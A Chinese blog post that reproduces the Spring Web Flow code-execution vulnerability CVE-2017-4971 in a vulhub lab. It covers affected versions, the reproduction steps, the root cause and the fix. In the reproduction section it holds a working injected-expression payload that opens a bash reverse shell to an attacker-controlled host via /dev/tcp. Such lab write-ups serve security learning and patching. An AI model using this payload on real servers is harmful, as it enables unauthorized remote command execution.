spring 代码执行 (CVE-2017-4971)复现
2021/11/11 6:12:16
本文主要是介绍spring 代码执行 (CVE-2017-4971)复现,对大家解决编程问题具有一定的参考价值,需要的程序猿们随着小编来一起学习吧!
spring 代码执行 CVE-2017-4971
- spring 代码执行 (CVE-2017-4971)
- 0x01 漏洞描述
- 0x02 影响范围
- 0x03 漏洞复现
- 反弹shell
- 0x04 漏洞修复
spring 代码执行 (CVE-2017-4971)
0x01 漏洞描述
Spring Web Flow建立在Spring MVC之上,并允许实现Web应用程序的“流” 由于没有明确指定相关 model 的具体属性导致从表单可以提交恶意的表达式从而被执行,导致任意代码执行的漏洞
详细漏洞分析
https://paper.seebug.org/322/
0x02 影响范围
Spring Web Flow 2.4.0 – 2.4.4
注:官方停止支持的更早的版本也受影响。
不受影响的版本
Spring Web Flow 2.4.5
0x03 漏洞复现
(1) 访问靶场
点击左上角login
(2)
用左边给出的账号进行登录
(3)
点击观看酒店
点击订购酒店
按需求填好后 点击 proceed 继续
点击confirm前 开启抓包
反弹shell
post 请求包中 加入如下payload
&_(new+java.lang.ProcessBuilder("bash","-c","bash+-i+>%26+/dev/tcp/攻击机IP/端口号+0>%261")).start()=vulhub
攻击机 监听端口
放包
反弹shell成功
原理
就是在订阅酒店处,存在一个命令执行,直接调用了两个函数,这两个函数,一个是:addDefaultMappings ,一个是 addModelBindings。
其中,直接控制field这个值的函数是addDefaultMappings,且未做过滤,而addModelBindings是直接获取的java的一个配置文件,由配置文件来确定是否有 binder 节点,如果有,就无法触发代码执行。所以条件有两个:
(1)binder节点为空;
(2) useSpringBeanBinding 默认值(false)未修改。
由此可实际在代码中找到该页面,节点为空(代替命令执行语句)+默认值为false(点击Confirm按钮)
0x04 漏洞修复
建议相关版本的用户采取如下措施进行缓解
2.4.x用户升级到2.4.5
建议在视图状态中始终使用显式数据绑定声明, 以防止表单提交在不应设置的目标对象上设置字段。
Spring Web Flow with JSF 的用户不受到影响.
这篇关于spring 代码执行 (CVE-2017-4971)复现的文章就介绍到这儿,希望我们推荐的文章对大家有所帮助,也希望大家多多支持为之网!
- 2025-01-04百万架构师第六课:设计模式:策略模式及模板模式
- 2025-01-04百万架构师第七课:设计模式:装饰器模式及观察者模式
- 2025-01-04适用于企业管理的协作工具API推荐
- 2025-01-04挑战16:被限流的CPU
- 2025-01-03企业在选择工具时,如何评估其背后的技术团队
- 2025-01-03Angular中打造动态多彩标签组件的方法
- 2025-01-03Flask过时了吗?FastAPI才是未来?
- 2025-01-0311个每位开发者都应知道的免费实用网站
- 2025-01-03从REST到GraphQL:为什么以及我是如何完成转型的
- 2025-01-03掌握RAG:从单次问答到连续对话